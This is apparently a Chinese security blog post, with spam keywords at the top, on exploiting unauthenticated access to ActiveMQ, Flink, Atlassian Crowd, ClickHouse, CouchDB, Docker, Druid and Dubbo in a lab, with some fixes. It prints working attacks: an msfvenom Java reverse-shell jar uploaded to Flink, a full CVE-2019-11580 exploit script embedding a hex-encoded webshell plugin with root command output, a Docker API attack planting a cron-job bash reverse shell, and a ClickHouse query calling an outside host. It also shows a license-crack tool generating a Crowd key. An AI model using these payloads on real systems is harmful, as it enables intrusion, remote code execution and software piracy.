没有域名 怎么做网站链接/如何在百度上发布自己的文章

没有域名 怎么做网站链接,如何在百度上发布自己的文章,竞争者网站建设情况,wordpress手赚ActiveMQ未授权访问漏洞 漏洞描述 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。 Apache ActiveMQ管理控制台的默认管理用户名和密码分别为admin和admin&am…

ActiveMQ未授权访问漏洞

漏洞描述

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ管理控制台的默认管理用户名和密码分别为admin和admin,用户可以未经授权使用默认凭据直接访问服务器,导致敏感信息泄露,并进一步进行攻击。

环境搭建

Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz

[root@localhost bin]# ./activemq start
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')

Vulnerability Reproduction

直接访问:http://192.168.32.183:8161/admin/queues.jsp

修复方案

编辑 ${ACTIVEMQ_HOME}/conf/jetty.xml开启身份验证,将authenticate属性改为true:

<property name="authenticate" value="true" />

编辑文件conf/jetty-realm.properties来更改Apache ActiveMQ的默认管理用户名和密码,格式如下:

重启服务就可以进行鉴权

Apache Flink未授权访问漏洞

漏洞描述

Apache Flink Dashboard默认没有用户权限认证,攻击者可以通过未授权的Flink Dashboard控制台直接上传木马jar包,可远程执行任意系统命令获取服务器权限。

环境搭建

测试版本:flink-1.15.1

修改flink-1.15.1/confflink-conf.yaml,将8081端口开启。

启动flink

start-cluster.sh

漏洞利用

访问web页面。

利用msfovenom生成rce.jar

┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes

配置msf监听

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

在Submit New Job处上传rec.jar文件,点击submit。

成功getshell。

Atlassian Crowd 未授权访问漏洞

CVE-2019-11580

漏洞概述

Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了了pdkinstall开发插件,使其存在安全漏漏洞洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限

影响版本

  • 2.1.0 <= version < 3.0.5
  • 3.1.0 <= version < 3.1.6
  • 3.2.0 <= version < 3.2.8
  • 3.3.0 <= version < 3.3.5
  • 3.4.0 <= version < 3.4.4

环境搭建

下载搭建Atlassian-crowd-3.4.3,配置漏洞环境,下载crowd3.4.3的版本

wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip

修改配置文件

[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties

更改主目录的路径

启动crowd

[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh 
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME:        /usr
Using CLASSPATH:       /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID:    /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.

访问8095端口

得到服务器 id B1DP-2T7V-FIPR-PEBO 后通过破解程序atlassian-agent.jar获取许可证信息

生成破解码

[root@localhost tmp]# java -jar /opt/atlassian/atlassian-agent.jar -d -m test@test.com -n test.cn -p crowd -o http://192.168.32.183:8095 -s B1DP-2T7V-FIPR-PEBO ====================================================
=======     Atlassian Crack Agent v1.3.1     =======
=======           https://zhile.io           =======
=======          QQ Group: 30347511          =======
====================================================Your license code(Don't copy this line!!!): AAABoQ0ODAoPeJxtUU1v4jAUvPtXRNpzgh1KPpAsbZsYLd18LdAeuJnwaLwkDnIcCvz6JiRopVUvt
jRjv5k382PTgvHalobtGBjPiT/HrsHCjWFj20aBAq5FLUOugfaIiV3TdhA787K9M/TAywZQCE2ux
OmOvMlSVELD3ihFDrIBY3c1Cq1PzXwyuRWiBEvUKFUfXIpmGNKzHUl82yKOZ027y5vOPezPUK7qz
70VDZM21xMkvAIapHHMVsHyORofrDVXGtRoJ6il5rlmMRcl1dDon/1h5XWFRk+/eFPQOPgMFiE5y
lqz/Xa2Za/xkXHnskicJ3ebV8/FH5Jx6YC6pW01+ZveDgW/2NHNW11+f1CKuvlSg+QyB3Y5CXUdg
/L8PijsotH3MqTRMlyzxIyIM/O6xciTS3xvNN9ZFWegWrWA1qDOoLoPLyTMTHvjvpuLZbYyM/aSo
iNc30E1fWTEwdjF3nRKHiLfO8halRe8gf8rHJQ7lAcg++Tu6gOatNUOVHp4azoxapJHaA9tG63b3
b/CB98sod8sODZxL23oQH4BfpvL4jAsAhQt6OiEcmsu5eD6OZo5HBm8DIwpLwIUN7XS/JQ44Zrlu
tReQFf42Id/W0E=X02k4

安装完成

漏洞利用

CVE-2019-11580.py利用脚本

import requests
import sysbanner = '''\n   _______      ________    ___   ___  __  ___        __ __ _____  ___   ___  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____|/ _ \ / _ \ | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____   \  /  | |____    / /_| |_| || |  / /       | || |___) | (_) | |_| |\_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ \___/ \___/ \npython CVE-2019-11580.py http://xx.xx.xx.xx\n
'''
print bannerdef is_url(url):upload_url = url + "/crowd/admin/uploadplugin.action"r = requests.get(upload_url, verify=False)if r.status_code==400:print upload_urlsend_poc(url)else:print "No Exit /crowd/admin/uploadplugin.action !"def send_poc(url):url_vuln = url + "/crowd/admin/uploadplugin.action"headers = {'User-Agent': 'curl/7.29.0','Accept': '*/*','Content-Length': '5739','Expect': '100-continue','Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7'}s ="2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c655f63646c223b2066696c656e616d653d227263652e6a6172220d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a0d0a504b03041400000008007c7ef14e544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c55540900039bd32e5da8d32e5d75780b0001040000000004000000007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a00000000001b7ff14e00000000000000000000000004001c00636f6d2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a00000000001b7ff14e00000000000000000000000008001c00636f6d2f63646c2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a0000000000d07df14e0000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f555409000357d22e5d59d22e5d75780b000104000000000400000000504b03041400000008008878f14ec2481cb07d0100008d03000016001c00636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540900036fc82e5dbdc82e5d75780b0001040000000004000000008d934d4fc3300c86effd15a617523e22384f3d21049c400c890b97909a35903621714711da7fc75187e8b60ee14395da799fbcb15baff49b5a2068d7485d59196bb4769665a6f12e10bcaaa5ea65c4b0b448b226f2f268362e4ae3e44deb3b9a5340d5b0d277cfd668d056c508179505ec09db2a4eb1aef9311f12f09565c0b1962f9da9a072574862b4e91edf3b8c0401df4f60231fbd6b237221164c827550f81cbda5609ba65d806eaa7258caa5b21ddebe0866ca05d29d0aaa41c220f28ba6ca8b6236a5771df19dcb3cdfacee9e97c2bc8038e01325bb57368a9ca913db52dc05a791fbe6cbfbae25d360b2b45e8a42628f5a3069cbd44f8c06911c963ea94749f10f1d8630e82e4370e16f9d69097479f87476385dffa88d45104297ec4632a9127cf383124ecff73520050f3119780c268da1901f69c1945a8542efb1b2dac96e6656a015e95a5cf61a3d19d7f26739e56118ec71993fb5f931f692dc30f1ed16fcd227c8db60949e19dc61fed91e82d238a60da45596adb26f504b030414000000080085b2f04ecafaf82fe50000000418000017001c00636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540900031add2d5d09df2d5d75780b000104000000000400000000ed98316ec2401045ff382e564ab365ca2da922e5062b0305752e100815b2e42aa95d71176ec1cdc0667e0292b1945444e13f69f40acf8cd7cdee8e0158f5b17e0122800037b6b84a600c2868f3e87a6cb0c427968bba79bfde6b809d9a4fb1468de7cbfa55ddacb8b05d1793c3891f7615420821c418e60a8fb75d8610e20fd2ef0f89ce74eb363e2fe8f2a226d289ce74eb36e6157449073ad289ce74ebe6a6651c3e8c6f364e2816e944e75f7db21077c3832bf6e7ff1ca3f3bf10e21f63e5ec7556e17b2018d09fb5a98b37e6ecbf0a472e0285ff307cc2392fd1996eddba0c08710b8e504b0304140000000800b178f14ed0054a4648030000fa05000017001c00636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554090003bdc82e5d09df2d5d75780b0001040000000004000000008d545d7b1345147e274d32dbedf62ba594fa010202295016152b2608d852a05ad2d214b0f8b9dd8c6571b39b6e26b5fa33bcf4c6cb5e7313409fc71fe02ff12f78637d674925ad7da479f63967e6cc39ef79cf999cf9e3ef5f7f077009be8d31142d4cf4e12cced9388f490b178c766d5cc43b46bc6be33d5c32e27d1b53f8a00f97f1a18d12ca1257243eb23188a211572d5cb33180eb6673ddac3e9698969811c85f09a2405f15e8294edc17c8cec4352530381f44aad2aaafaa64d95b0d69c9d5e25b4a0b2c15e71f7b1bdea6db54c946a8b4fb48eb867b9ba2fac2b0a4d65baaa9cbaf746b36e2a8a9ca266b7f557bfe7777bc469a2ca576436256e2a6c42d89db2c47c0aec6adc457370343c79aa985174c060747304ef633f51a831ccce1138639f814f302707007158905078bb8eb600955023a58c63d07f7718fd00e1ee033e672b08287129f3bf8025f0a8c186c37f4a2357776d3570d1dc491c0d84b6b552741b436dd0ac29a4a1c7c85af0584ede01b90d2aaa134ecc775d7af856ef3910a439784058efe7f53044e1da8b902a70fd65d81a1bd9449eca56931897dd56ceed41bc4ee5cd468697a2aaf2ee0ac29bde8255e5d699530e98bbbef462b4ffcd7242037bcb0a516bedd13b2b0fa58f97aff903c2bf3423219dd2fe2e12ed64bad480775166793dfbf9bd1623770c74ce4acda54bec0995790efb482010344ddd586b11de4ddfde9b8ce26499cecb866a96ae930cd09f4f2f44112a4bdebc65864f2ce41b9abf55d66cedbf76641c0e29c9990bcd768a888c89307ba83ceff92e8968e77eefd5071dfce0f364cde74029713cf57388ec37c7bcc2f0361c68bf235eedea4e64c2177f629c4132e045ea7cca74623df485de82a8a0ceda5f5c77385cc73f464f00cd94a2157ca4e16726de47fc6e56790936d58a5dc380dbda5bc517649f64c59e3f936fa56a6accc2f289c7f0e87376bfdd446ffd6f69f5b3859cafd86c195a7181acfb6315c285098d011ea360e95b25bb02a041e7d420643a8e02e1f3b601d9a3a93f29da61db0f936f471d5cff2067082efe204771731ccd7b4806b1861ec11461f4695cd5867a4a6678bd5fdc03a8f12e106f2db74ee953826f196c4718913e97752e26d7eecca36dd737bce615eb7537fe1985159f6eb74dae833ff00504b030414000000080080b2f04e5e4c2ce8970100000418000011001c00636f6d2f63646c2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32a61063e460e28e5c4c3cecb0c5cd1d8c09c179d8cd04a387693618c491205d06932862780d7d239fc0c751fe7c1ad0ede06953fb4b9a5f295f5b0aa4a500005167661340020001727322cc45c0f40d0ecd2789646d383d878e0c871af35b62ac1ce9b3ab820763b0c0293dbff495384cd2de5b46165d8834026f82912fc6c4b13dbfd178255c85afaead0ba228889be29536a681e6ebfecc53f5693f3d3ad5fdb181f9334a9dcfbc6e9cdb563090b68fa9ebebb66b4db3cab66925219717b66bd240a533d7f4fa8513594703a91686ad76bb2eb7daada82e879d4e23c9ef1f449128ecec368f7ac39bbbfbf0217a7ccac74c080e7eebcbcd782e0fd1f4468e915c242917df6a53d7a1ee35646f3d83c160fc4270f61236967b190c06630549e70719ada0e3dc04cf7368be504742cb68051de72618c7a179b48096d0325a41c7b971d222b8f920d833c11d0a91d0325af9d190198c7f43259794aeff278bf7ff0c06e30f43f8aed65561f1ef8c74ad959334fca800e50f012ce331365d8a6b857219ada0e3dcec4380c15816ef504b030414000000080080b2f04e7261dc5f94010000041800000d001c00636f6d2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32548831723071472e261e76d8e2e60ec684e03cec6632a3876936188b2341ba0c2651c4f01afa463e818fa3fcf9749bba83a7e9fc7e49f32be52b6d81b4140060fad8aa00280020416e41866f91307d41408b4962e93578cf74b8899723fe02e9b32b400f2c709aceccf33b48d2ee6b4616895166e00d31ead91c3ab6e797cb2f4c28882bab6b922c4bf2867cd91af0a0e51bfed8d38d513b3d3a31fc8189f953ce9d8fbc619ed9fda0a36c1d71d7376cb73fca2adb563f09b938b75d8b073a1fbb96d79e3a9135d4518a6158add54a6ab5568d4a6a58af9793fcde7e14c9d2f64ee5b0d9bdbebd0befa387c77cac8ce1a0373fdd84a7c9f02cafe7984907d9a4e8a635721dee5e41f6961304412c01389b49eb8bed064110bf90747e50d11a3acecdf0bc8016a7ea286815ada1e3dc0ce304b48896d00a5a456be838374e5a0c371f0c5b66b84361b8f5602a5afbd19009e2df50c8a5a4ebfff1fcfd3f41104b0c131bad860ef37f6fa46bad9aa4ee7b0598fd10c0321163d3a5b83855aea235749c9b3e04086251bc01504b0304140000000800b57df14ef98bc46d88010000c303000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a617661555409000326d22e5d57d22e5d75780b0001040000000004000000008d53c14ee33010bde72b865c702818f65cf98880130856e2c2c5eb0c8dc1898d3d2941abfe3b63d2d5a66d58ed93123933f39edf4ceca0cdab5e2118df4a533b991a746e5914b60d3e12bce8b51e64c2b87648b2210af264394d4aebe54d177a7aa088ba6566e87f396bc0389d12e010f821ecea34a775cdaf873100bf8b02185bfadadb1a6a7f85242645f7f8d6632288f8760a3bf1147c979013a96225d882e2c7e42b836dda6e05a6add5b8946bed7abc7d16ac295748773aea1609a328b9a8acaae51cdff7c43dabb2dccd9e9fb381acf2186d96a8e47b5e7c492946098bbcf59ee6a1cb0cfb0ce2888b25f7ac5d12257b9929cbb88bde204f3ba8fbbe23db62b6b05db2071cd088c36dff60f2fb725f2a64f62428fe8387318ebccb187dfc37cf7604461d3f5d1ccfe7df1beb1084308add4856aa05777ea4e0ecc77703c8989fbc308d8e95f9c6cae620ba1bd980d1641a7139180c647dc78779cec3781c16aa7ceaca050e92fc784ef647f0577d46795f1865600d9e305fd19f511b9caa8d4a9ba2d8149f504b03041400000008005a7ff14e3ac5f9ef48030000fa05000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c61737355540900033bd52e5da8d32e5d75780b0001040000000004000000008d54db76d34614dde3d81e451171e2244ddd0b1428e00041bdd094da14682040dae084385c02f4a2c8d3202a4b8a2ca7693fa38f7de9639e793197aed50fe897f417fad2748f708a936641bcb4ce191d9db3cf3e7b3cf3e73fcfff007016ae8971940d4c0ce0244e99388d490367b4b74d7c800fb5f9c8c4c738abcd2726a6f0e900cee13313155425ce4b7c6ea280b236170c5c3431884bfae5925e7d21312d7159207fde0bbce482405f79e2b640f672d8500285392f50b5767345c54bce8acf48ae115e5389c06279ee91b3ee6cd82d15affb2ab11f2649645fa7a9bf082caab5b66a25d5d7a6b5a23068a9aaee7aa09e38ee0f379c286d9652bb2231237155e29ac4758e2360d6c376ecaaab9ea663a88de88cee60e14d94c8de6d36586461165fb2ccc257981380851ba849cc5b58c04d0b8ba813d0c2126e59b88d5b84b6700777d9cbc232ee49dcb7f0005f0b8c686cdb7782557b66c35551e28581c0f8cb683d89bd6075baedf90d155bf806df0a08d3c27720a5154d69d80d9bb6dbf0edd643e5fb36090b1c7cb52802c7f625aec0f1fda92b30b49b3289bd0c2dc4a1ab5aaded79bdd09e0da276c24ce53405ac55952c38b1d354898ad9f4c5def7a25527fe1f1290eb8edf56f3dfef2a995f79a4dc64ef923c27737c3219dbabe2de0ed68bed20f19a1cce24bfff5ec6cabdc0dd3091b36a43b902275e43be2b050b0689ba4386f16de49dfa745367e2388cb753b3748df430cd0af4f3eb9dd84bb5ebc55860f3ee876a8ff43d619eb71ff58280e5597d42f24e14a980c893fbda83eeff92e846126eeffb68794fe50b91ee9b9ec0a5d871150ee30dde3dfa9781d0c78bf62dbebd4bcf3385dcc927108fb910789b369f06b57d274d61aa28b3b49fd19f4f1533cfd097c153646bc55c253b59cc7590ff15e79e424e766054722506fa2b79edcc8aec9b324af90e0696a78ccc6f289e7e068b3b6bfcd2c181cdadbf3671b492fb1d85e527182a653b182e166974e9087d07a395ec268c1a81c71e93c1106ab8c9cb0e5843429f49f94e330e98bc1b06b81ae478051ce16a02c3bc538bbc4d477011a3ac2db17a1c754ab0c6d9124ed626c24f9cf22011ae20bfc5e47e894312ef491c9638923e4725dee74355b65892dbf51dfa763bf6370e6997a55ec753a14ffc0b504b01021e031400000008007c7ef14e544c2527eb00000004020000140018000000000001000000ed810000000061746c61737369616e2d706c7567696e2e786d6c55540500039bd32e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000040018000000000000001000ed4139010000636f6d2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000080018000000000000001000ed4177010000636f6d2f63646c2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a0000000000d07df14e0000000000000000000000000e0018000000000000001000ed41b9010000636f6d2f63646c2f7368656c6c2f555405000357d22e5d75780b000104000000000400000000504b01021e031400000008008878f14ec2481cb07d0100008d030000160018000000000001000000ed8101020000636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540500036fc82e5d75780b000104000000000400000000504b01021e0314000000080085b2f04ecafaf82fe500000004180000170018000000000000000000a481ce030000636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540500031add2d5d75780b000104000000000400000000504b01021e03140000000800b178f14ed0054a4648030000fa050000170018000000000000000000a48104050000636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554050003bdc82e5d75780b000104000000000400000000504b01021e0314000000080080b2f04e5e4c2ce89701000004180000110018000000000000000000a4819d080000636f6d2f63646c2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e0314000000080080b2f04e7261dc5f94010000041800000d0018000000000000000000a4817f0a0000636f6d2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e03140000000800b57df14ef98bc46d88010000c3030000160018000000000001000000a4815a0c0000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000326d22e5d75780b000104000000000400000000504b01021e031400000008005a7ff14e3ac5f9ef48030000fa050000170018000000000000000000a481320e0000636f6d2f63646c2f7368656c6c2f6578702e636c61737355540500033bd52e5d75780b000104000000000400000000504b0506000000000b000b00bf030000cb11000000000d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561372d2d0d0a"data = s.decode("hex")r = requests.post(url=url_vuln, headers=headers, data=data, verify=False)if r.status_code ==200 and "Installed" in r.content:printprint r.contentgetwebshell(url)else:print  "No Exit!"
def getwebshell(url):webshell_url = url + "/crowd/plugins/servlet/exp?cmd=whoami"r = requests.get(webshell_url, verify=False)if r.status_code==200:print ">>>Get Webshell\n"print webshell_url+'\n'print "Exec command= whoami\n\nResult= %s"%r.textif __name__ == '__main__':url = sys.argv[1]is_url(url)
[root@localhost CVE-2019-11580-master]# python CVE-2019-11580.py http://192.168.32.183:8095_______      ________    ___   ___  __  ___        __ __ _____  ___   ___  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____|/ _ \ / _ \ | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____   \  /  | |____    / /_| |_| || |  / /       | || |___) | (_) | |_| |\_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ \___/ \___/ python CVE-2019-11580.py http://xx.xx.xx.xxhttp://192.168.32.183:8095/crowd/admin/uploadplugin.actionInstalled plugin /opt/atlassian-crowd-3.4.3/apache-tomcat/temp/plugindev-7114709723171005763rce.jar>>>Get Webshellhttp://192.168.32.183:8095/crowd/plugins/servlet/exp?cmd=whoamiExec command= whoamiResult= root

然后访问获取的shell地址,无需认证登录即可获取IP地址。

clickhouse 未授权访问漏洞

漏洞描述

恶意攻击者可以在不提供有效凭据的情况下访问 ClickHouse 服务器。这可能导致未经授权的访问敏感数据,或允许攻击者修改或删除数据。默认情况下,clickhouse-server会在8123端口上监控HTTP请求(这可以在配置中修改)。

环境搭建

sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \/etc/apt/sources.list.d/clickhouse.list
sudo apt-get updatesudo apt-get install -y clickhouse-server clickhouse-clientsudo service clickhouse-server start
clickhouse-client

漏洞复现

首先确定是否使用了 ClickHouse 数据库的接口

curl http://192.168.0.5:8123

根据文档得知,正常返回为 Ok. , 且存在 X-ClickHouse-Summary 作为返回包的 Header

测试是否可以执行SQL命令, 部分会开启身份验证导致未授权执行失败

/?query=SHOW%20DATABASES

成功执行语句获取数据,执行其他命令探测出网

http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203;

可以查看 system库中的执行记录表来获取最近执行的所有SQL语句来快速定位可利用的信息(获取敏感用户信息,数据库名以及数据表名)

CouchDB未授权访问漏洞

漏洞描述

CouchDB因配置不当可以未授权访问,被攻击者恶意利用。

攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意清空所有数据。

漏洞搭建

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md

使用docker-compose启动。

cd couchdb/CVE-2017-12636/
docker-compose up -d

漏洞利用

访问5984端口,就可以看到版本信息。

访问/_config接口,可以看到couchDB配置信息。

Docker未授权访问漏洞

漏洞描述

恶意攻击者可以在未经授权的情况下访问 Docker 服务器或容器。这可能导致敏感数据泄露,或允许攻击者执行未经授权的操作,如添加、修改或删除容器。

环境搭建

安装docker

yum install -y docker

修改/usr/lib/systemd/system/docker.service服务,启动API接口。

ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

重启docker服务。

systemctl daemon-reload
systemctl restart docker

漏洞复现

输入ip:2375/version就会列出基本信息,和docker version命令效果一样。

利用docker容器写定时任务反弹shell

我们可以利用未授权访问的docker remote api 开启一个容器并挂载至根目录,由此我们可以获得任意读写的权限,然后我们再将反弹shell命令写入定时任务crontab中,即可使宿主机反弹shell。

[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh

写入定时计划

/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root

安全加固

在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:

设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket

客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

客户端连接时需要设置以下环境变量

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

druid 监控页未授权访问漏洞

漏洞简介

Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问.

环境搭建

pom.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.3</version><relativePath/> <!-- lookup parent from repository --></parent><groupId>com.example</groupId><artifactId>demo</artifactId><version>0.0.1-SNAPSHOT</version><name>demo</name><description>Demo project for Spring Boot</description><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.1</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-resources-plugin</artifactId><version>3.1.0</version></plugin></plugins></build></project>

application.properties配置

#数据库连接
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai
spring.datasource.username=sec
spring.datasource.password=sec123##启用StatFilter
spring.datasource.druid.web-stat-filter.enabled=true#启用内置的监控页面
spring.datasource.druid.stat-view-servlet.enabled=true

漏洞复现

直接访问druid/index.html

可以通过session功能进行伪造用户进行登录

修复方法

禁用durid

application.properties配置

spring.datasource.druid.stat-view-servlet.enabled=false
spring.datasource.druid.web-stat-filter.enabled=false

设置鉴权

#设置登录用户名
spring.datasource.druid.stat-view-servlet.login-username=admin
#设置登录密码
spring.datasource.druid.stat-view-servlet.login-password=123

修改路径

##内置监控页面的地址
spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/*

Dubbo 未授权访问漏洞

漏洞简介

Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。

环境搭建

git clone https://github.com/alibaba/dubbo/tree/2.5.x

进入dubbo-2.5.x 目录

执行mvn clean package -Dmaven.test.skip=true会生成如下结果

dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target目录会发现生成了dubbo-monitor-simple-2.5.10-assembly.tar.gz,解压这个文件夹

查看配置文件,会看到dubbo协议端口为7070

[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log

启动dubbo

[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh

漏洞利用

nc连接7070端口,7070端口允许您执行各种管理任务,如查看注册表的状态、列出可用服务和查看注册表的日志级别。

